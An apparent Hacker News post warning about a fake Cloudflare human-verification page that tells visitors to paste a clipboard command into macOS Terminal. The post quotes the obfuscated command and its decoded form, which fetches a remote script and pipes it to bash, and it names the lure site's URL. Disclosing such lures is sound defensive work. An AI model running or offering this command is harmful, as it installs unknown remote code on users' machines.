Skip to content

Tell HN: Exploit mimicking Cloudflare's verify human page

3 pointsSenHengdiscuss
On HN

I just had a site pop up showing cloudflare's verify you're a human page. after checking the check box, a modal pops up telling you to

1. press command space

2. type in Terminal and enter

3. type in cmd V and enter

Wait a minute, I don't remember copying anything.... I pasted into a slack chat and this popped up.

`bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9ydW50aW1lLWZvdW5kcnkuZGlnaXRhbC9zY3JpcHQuc2gnIHwgYmFzaA==" | base64 -d)`

descrypting the string turns it in to `curl -s 'https://runtime-foundry.digital/script.sh' | bash`

This is the offending website.

https://secure-access-31f.pages.dev/?vc=7b853dfa42a14cb5b124029e98c46454&ts=1780325659009&rn=755411

I don't remember how I came upon it. I was doing a search on google and simply cmd clicked every single result. It was probably one of those.

Comments

No comments yet.

AboutSource Built by g1lg1l

Hackerly is an independent reader for Hacker News, built on the public HN API. Not affiliated with Y Combinator.